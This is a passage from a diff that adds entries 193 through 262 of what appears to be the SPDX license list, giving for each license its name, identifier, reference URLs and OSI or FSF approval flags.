+ "detailsUrl": "https://spdx.org/licenses/SCEA.json",
+ "referenceNumber": 193,
+ "name": "SCEA Shared Source License",
+ "licenseId": "SCEA",
+ "seeAlso": [
+ "http://research.scea.com/scea_shared_source_license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Latex2e.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Latex2e.json",
+ "referenceNumber": 194,
+ "name": "Latex2e License",
+ "licenseId": "Latex2e",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Latex2e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0-cl8.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0-cl8.json",
+ "referenceNumber": 195,
+ "name": "Artistic License 1.0 w/clause 8",
+ "licenseId": "Artistic-1.0-cl8",
+ "seeAlso": [
+ "https://opensource.org/licenses/Artistic-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-1.1.json",
+ "referenceNumber": 196,
+ "name": "SGI Free Software License B v1.1",
+ "licenseId": "SGI-B-1.1",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NRL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NRL.json",
+ "referenceNumber": 197,
+ "name": "NRL License",
+ "licenseId": "NRL",
+ "seeAlso": [
+ "http://web.mit.edu/network/isakmp/nrllicense.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SWL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SWL.json",
+ "referenceNumber": 198,
+ "name": "Scheme Widget Library (SWL) Software License Agreement",
+ "licenseId": "SWL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/SWL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zed.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zed.json",
+ "referenceNumber": 199,
+ "name": "Zed License",
+ "licenseId": "Zed",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Zed"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-1.1.json",
+ "referenceNumber": 200,
+ "name": "CERN Open Hardware Licence v1.1",
+ "licenseId": "CERN-OHL-1.1",
+ "seeAlso": [
+ "https://www.ohwr.org/project/licenses/wikis/cern-ohl-v1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RHeCos-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RHeCos-1.1.json",
+ "referenceNumber": 201,
+ "name": "Red Hat eCos Public License v1.1",
+ "licenseId": "RHeCos-1.1",
+ "seeAlso": [
+ "http://ecos.sourceware.org/old-license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/JasPer-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JasPer-2.0.json",
+ "referenceNumber": 202,
+ "name": "JasPer License",
+ "licenseId": "JasPer-2.0",
+ "seeAlso": [
+ "http://www.ece.uvic.ca/~mdadams/jasper/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSPL-1.0.json",
+ "referenceNumber": 203,
+ "name": "Server Side Public License, v 1",
+ "licenseId": "SSPL-1.0",
+ "seeAlso": [
+ "https://www.mongodb.com/licensing/server-side-public-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0+.json",
+ "referenceNumber": 204,
+ "name": "GNU General Public License v2.0 or later",
+ "licenseId": "GPL-2.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.4.json",
+ "referenceNumber": 205,
+ "name": "Open LDAP Public License v1.4",
+ "licenseId": "OLDAP-1.4",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dc9f95c2f3f2ffb5e0ae55fe7388af75547660941"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/libpng-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libpng-2.0.json",
+ "referenceNumber": 206,
+ "name": "PNG Reference Library version 2",
+ "licenseId": "libpng-2.0",
+ "seeAlso": [
+ "http://www.libpng.org/pub/png/src/libpng-LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Python-GPL-Compatible.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Python-GPL-Compatible.json",
+ "referenceNumber": 207,
+ "name": "CNRI Python Open Source GPL Compatible License Agreement",
+ "licenseId": "CNRI-Python-GPL-Compatible",
+ "seeAlso": [
+ "http://www.python.org/download/releases/1.6.1/download_win/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Aladdin.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Aladdin.json",
+ "referenceNumber": 208,
+ "name": "Aladdin Free Public License",
+ "licenseId": "Aladdin",
+ "seeAlso": [
+ "http://pages.cs.wisc.edu/~ghost/doc/AFPL/6.01/Public.htm"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-1.0.json",
+ "referenceNumber": 209,
+ "name": "CeCILL Free Software License Agreement v1.0",
+ "licenseId": "CECILL-1.0",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V1-fr.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Ruby.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Ruby.json",
+ "referenceNumber": 210,
+ "name": "Ruby License",
+ "licenseId": "Ruby",
+ "seeAlso": [
+ "http://www.ruby-lang.org/en/LICENSE.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPL-1.1.json",
+ "referenceNumber": 211,
+ "name": "Netscape Public License v1.1",
+ "licenseId": "NPL-1.1",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/NPL/1.1/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ImageMagick.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ImageMagick.json",
+ "referenceNumber": 212,
+ "name": "ImageMagick License",
+ "licenseId": "ImageMagick",
+ "seeAlso": [
+ "http://www.imagemagick.org/script/license.php"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Cube.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Cube.json",
+ "referenceNumber": 213,
+ "name": "Cube License",
+ "licenseId": "Cube",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Cube"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-only.json",
+ "referenceNumber": 214,
+ "name": "GNU Free Documentation License v1.1 only",
+ "licenseId": "GFDL-1.1-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.0.json",
+ "referenceNumber": 215,
+ "name": "Creative Commons Attribution 2.0 Generic",
+ "licenseId": "CC-BY-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-1.2.json",
+ "referenceNumber": 216,
+ "name": "Academic Free License v1.2",
+ "licenseId": "AFL-1.2",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-1.2.txt",
+ "http://wayback.archive.org/web/20021204204652/http://www.opensource.org/licenses/academic.php"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.0.json",
+ "referenceNumber": 217,
+ "name": "Creative Commons Attribution Share Alike 2.0 Generic",
+ "licenseId": "CC-BY-SA-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-2.0.json",
+ "referenceNumber": 218,
+ "name": "CeCILL Free Software License Agreement v2.0",
+ "licenseId": "CECILL-2.0",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V2-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-advertising.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-advertising.json",
+ "referenceNumber": 219,
+ "name": "Enlightenment License (e16)",
+ "licenseId": "MIT-advertising",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT_With_Advertising"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.5.json",
+ "referenceNumber": 220,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.5 Generic",
+ "licenseId": "CC-BY-NC-SA-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-1.0.json",
+ "referenceNumber": 221,
+ "name": "Artistic License 1.0",
+ "licenseId": "Artistic-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Artistic-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-3.0.json",
+ "referenceNumber": 222,
+ "name": "Open Software License 3.0",
+ "licenseId": "OSL-3.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20120101081418/http://rosenlaw.com:80/OSL3.0.htm",
+ "https://opensource.org/licenses/OSL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/X11.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/X11.json",
+ "referenceNumber": 223,
+ "name": "X11 License",
+ "licenseId": "X11",
+ "seeAlso": [
+ "http://www.xfree86.org/3.3.6/COPYRIGHT2.html#3"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Bahyph.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Bahyph.json",
+ "referenceNumber": 224,
+ "name": "Bahyph License",
+ "licenseId": "Bahyph",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Bahyph"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.0.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.0.1.json",
+ "referenceNumber": 225,
+ "name": "Open LDAP Public License v2.0.1",
+ "licenseId": "OLDAP-2.0.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003db6d68acd14e51ca3aab4428bf26522aa74873f0e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUDatagrid.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUDatagrid.json",
+ "referenceNumber": 226,
+ "name": "EU DataGrid Software License",
+ "licenseId": "EUDatagrid",
+ "seeAlso": [
+ "http://eu-datagrid.web.cern.ch/eu-datagrid/license.html",
+ "https://opensource.org/licenses/EUDatagrid"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MTLL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MTLL.json",
+ "referenceNumber": 227,
+ "name": "Matrix Template Library License",
+ "licenseId": "MTLL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Matrix_Template_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-invariants-only.json",
+ "referenceNumber": 228,
+ "name": "GNU Free Documentation License v1.2 only - invariants",
+ "licenseId": "GFDL-1.2-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-no-invariants-or-later.json",
+ "referenceNumber": 229,
+ "name": "GNU Free Documentation License v1.3 or later - no invariants",
+ "licenseId": "GFDL-1.3-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/curl.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/curl.json",
+ "referenceNumber": 230,
+ "name": "curl License",
+ "licenseId": "curl",
+ "seeAlso": [
+ "https://github.com/bagder/curl/blob/master/COPYING"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LAL-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LAL-1.3.json",
+ "referenceNumber": 231,
+ "name": "Licence Art Libre 1.3",
+ "licenseId": "LAL-1.3",
+ "seeAlso": [
+ "https://artlibre.org/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/DSDP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DSDP.json",
+ "referenceNumber": 232,
+ "name": "DSDP License",
+ "licenseId": "DSDP",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/DSDP"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-1.2.json",
+ "referenceNumber": 233,
+ "name": "CERN Open Hardware Licence v1.2",
+ "licenseId": "CERN-OHL-1.2",
+ "seeAlso": [
+ "https://www.ohwr.org/project/licenses/wikis/cern-ohl-v1.2"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TOSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TOSL.json",
+ "referenceNumber": 234,
+ "name": "Trusster Open Source License",
+ "licenseId": "TOSL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/TOSL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-with-autoconf-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-with-autoconf-exception.json",
+ "referenceNumber": 235,
+ "name": "GNU General Public License v3.0 w/Autoconf exception",
+ "licenseId": "GPL-3.0-with-autoconf-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/autoconf-exception-3.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0.json",
+ "referenceNumber": 236,
+ "name": "Creative Commons Attribution 3.0 Unported",
+ "licenseId": "CC-BY-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Qhull.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Qhull.json",
+ "referenceNumber": 237,
+ "name": "Qhull License",
+ "licenseId": "Qhull",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Qhull"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-no-invariants-only.json",
+ "referenceNumber": 238,
+ "name": "GNU Free Documentation License v1.3 only - no invariants",
+ "licenseId": "GFDL-1.3-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TORQUE-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TORQUE-1.1.json",
+ "referenceNumber": 239,
+ "name": "TORQUE v2.5+ Software License v1.1",
+ "licenseId": "TORQUE-1.1",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/TORQUEv1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MS-PL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MS-PL.json",
+ "referenceNumber": 240,
+ "name": "Microsoft Public License",
+ "licenseId": "MS-PL",
+ "seeAlso": [
+ "http://www.microsoft.com/opensource/licenses.mspx",
+ "https://opensource.org/licenses/MS-PL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-1.0.json",
+ "referenceNumber": 241,
+ "name": "Apache License 1.0",
+ "licenseId": "Apache-1.0",
+ "seeAlso": [
+ "http://www.apache.org/licenses/LICENSE-1.0"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/copyleft-next-0.3.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/copyleft-next-0.3.1.json",
+ "referenceNumber": 242,
+ "name": "copyleft-next 0.3.1",
+ "licenseId": "copyleft-next-0.3.1",
+ "seeAlso": [
+ "https://github.com/copyleft-next/copyleft-next/blob/master/Releases/copyleft-next-0.3.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-or-later.json",
+ "referenceNumber": 243,
+ "name": "GNU Free Documentation License v1.2 or later",
+ "licenseId": "GFDL-1.2-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0+.json",
+ "referenceNumber": 244,
+ "name": "GNU General Public License v3.0 or later",
+ "licenseId": "GPL-3.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MulanPSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MulanPSL-2.0.json",
+ "referenceNumber": 245,
+ "name": "Mulan Permissive Software License, Version 2",
+ "licenseId": "MulanPSL-2.0",
+ "seeAlso": [
+ "https://license.coscl.org.cn/MulanPSL2/"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFAP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFAP.json",
+ "referenceNumber": 246,
+ "name": "FSF All Permissive License",
+ "licenseId": "FSFAP",
+ "seeAlso": [
+ "https://www.gnu.org/prep/maintain/html_node/License-Notices-for-Other-Files.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Xerox.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Xerox.json",
+ "referenceNumber": 247,
+ "name": "Xerox License",
+ "licenseId": "Xerox",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Xerox"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDDL-1.0.json",
+ "referenceNumber": 248,
+ "name": "Common Development and Distribution License 1.0",
+ "licenseId": "CDDL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/cddl1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-invariants-only.json",
+ "referenceNumber": 249,
+ "name": "GNU Free Documentation License v1.3 only - invariants",
+ "licenseId": "GFDL-1.3-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/etalab-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/etalab-2.0.json",
+ "referenceNumber": 250,
+ "name": "Etalab Open License 2.0",
+ "licenseId": "etalab-2.0",
+ "seeAlso": [
+ "https://github.com/DISIC/politique-de-contribution-open-source/blob/master/LICENSE.pdf",
+ "https://raw.githubusercontent.com/DISIC/politique-de-contribution-open-source/master/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/XFree86-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/XFree86-1.1.json",
+ "referenceNumber": 251,
+ "name": "XFree86 License 1.1",
+ "licenseId": "XFree86-1.1",
+ "seeAlso": [
+ "http://www.xfree86.org/current/LICENSE4.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SNIA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SNIA.json",
+ "referenceNumber": 252,
+ "name": "SNIA Public License 1.1",
+ "licenseId": "SNIA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/SNIA_Public_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.1.json",
+ "referenceNumber": 253,
+ "name": "LaTeX Project Public License v1.1",
+ "licenseId": "LPPL-1.1",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CATOSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CATOSL-1.1.json",
+ "referenceNumber": 254,
+ "name": "Computer Associates Trusted Open Source License 1.1",
+ "licenseId": "CATOSL-1.1",
+ "seeAlso": [
+ "https://opensource.org/licenses/CATOSL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TU-Berlin-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TU-Berlin-2.0.json",
+ "referenceNumber": 255,
+ "name": "Technische Universitaet Berlin License 2.0",
+ "licenseId": "TU-Berlin-2.0",
+ "seeAlso": [
+ "https://github.com/CorsixTH/deps/blob/fd339a9f526d1d9c9f01ccf39e438a015da50035/licences/libgsm.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3.json",
+ "referenceNumber": 256,
+ "name": "GNU Free Documentation License v1.3",
+ "licenseId": "GFDL-1.3",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-or-later.json",
+ "referenceNumber": 257,
+ "name": "GNU Free Documentation License v1.3 or later",
+ "licenseId": "GFDL-1.3-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LAL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LAL-1.2.json",
+ "referenceNumber": 258,
+ "name": "Licence Art Libre 1.2",
+ "licenseId": "LAL-1.2",
+ "seeAlso": [
+ "http://artlibre.org/licence/lal/licence-art-libre-12/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ICU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ICU.json",
+ "referenceNumber": 259,
+ "name": "ICU License",
+ "licenseId": "ICU",
+ "seeAlso": [
+ "http://source.icu-project.org/repos/icu/icu/trunk/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FTL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FTL.json",
+ "referenceNumber": 260,
+ "name": "Freetype Project License",
+ "licenseId": "FTL",
+ "seeAlso": [
+ "http://freetype.fis.uniroma2.it/FTL.TXT",
+ "http://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/docs/FTL.TXT",
+ "http://gitlab.freedesktop.org/freetype/freetype/-/raw/master/docs/FTL.TXT"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MirOS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MirOS.json",
+ "referenceNumber": 261,
+ "name": "The MirOS Licence",
+ "licenseId": "MirOS",
+ "seeAlso": [
+ "https://opensource.org/licenses/MirOS"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-NetBSD.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-NetBSD.json",
+ "referenceNumber": 262,
+ "name": "BSD 2-Clause NetBSD License",
